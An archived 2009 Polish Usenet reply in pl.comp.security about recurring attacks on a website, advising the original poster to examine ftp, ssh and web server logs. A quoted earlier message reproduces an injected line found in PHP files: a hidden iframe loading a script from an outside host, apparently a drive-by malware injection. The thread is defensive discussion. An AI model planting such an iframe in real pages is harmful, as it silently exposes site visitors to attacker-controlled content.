Article View: pl.comp.security
Article #63871Re: Re: powtarzaj�ce si� ataki na stron� www
From: Lemat
Date: Mon, 20 Jul 2009 11:10
Date: Mon, 20 Jul 2009 11:10
25 lines
2156 bytes
2156 bytes
Jan Strybyszewski wrote: > >> sprawdzić serwer - obejrzeć po prostu logi systemowe - niech ci to zrobi >> jakaś kompetentna osoba. > > Wyglada to na atak na wordpressa lub jakis inny blogowy silnik .. > dopisuje do plikow php taka linijke jak ta ponizej. > > > <iframe src="http://u0b.in:8080/ts/in.cgi?pepsi104" <iframe src = > "http://u0b.in:8080/ts/in.cgi?pepsi104" > width=125 height=125 style="visibility: hidden"></iframe> width = 125 > height = 125 style = "visibility: hidden"> </ iframe> Ja też wyglądam jakbym był piękny i bogaty a w rzeczywistości jestem złośliwym gnomem... Istotne są logi serwera ftp, ssh i www, Mniej istotne są logi crona. Jeżeli autor wątku nie umie czytać logów to musi wynająć kogoś, kto to potrafi. Jeżeli np. logi zostały skasowane to jest to już poważny problem na serwerze i trzeba by go solidnie wyklepać młotkiem. -- Pozdrawiam Lemat
Technical Details
Message-ID:
<h41ju7$4cj$1@nemesis.news.neostrada.pl>Path:
mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!news.rmf.pl!agh.edu.pl!news.agh.edu.pl!news.onet.pl!newsfeed.neostrada.pl!news.underley.eu.org!moderators!marcinwReferences:
<70e8203d-a760-4ad2-b572-6d170bec96af@o6g2000yqj.googlegroups.com> <h3vv6s$qmd$1@nemesis.news.neostrada.pl> <h41ejg$jar$1@inews.gazeta.pl>Show Full Headers
Complete Article Headers
Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!news.rmf.pl!agh.edu.pl!news.agh.edu.pl!news.onet.pl!newsfeed.neostrada.pl!news.underley.eu.org!moderators!marcinw From: Lemat <#@lemat.priv.pl> Newsgroups: pl.comp.security Subject: Re: Re: powtarzaj�ce si� ataki na stron� www Followup-To: pl.comp.security Date: Mon, 20 Jul 2009 13:10:53 +0200 Organization: lemat.priv.pl Lines: 27 Message-ID: <h41ju7$4cj$1@nemesis.news.neostrada.pl> References: <70e8203d-a760-4ad2-b572-6d170bec96af@o6g2000yqj.googlegroups.com> <h3vv6s$qmd$1@nemesis.news.neostrada.pl> <h41ejg$jar$1@inews.gazeta.pl> NNTP-Posting-Host: ghostwheel.underley.eu.org Mime-Version: 1.0 X-Trace: nemesis.news.neostrada.pl 1248088839 4499 79.190.106.118 (20 Jul 2009 11:20:39 GMT) X-Complaints-To: usenet@news.neostrada.pl NNTP-Posting-Date: Mon, 20 Jul 2009 11:20:39 +0000 (UTC) User-Agent: KNode/0.99.01 X-Moder-Tool: ModerGate.pl v3.0 (c) 2008 Daniel Podlejski X-Orig-NNTP-Posting-Host: goblin.lemat.priv.pl X-Orig-Newsgroups: pl.comp.security Approved: marcinw.pcs@gmail.com X-Post-Key: 8f3a5e1274ce07507a08a6021b900fca Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit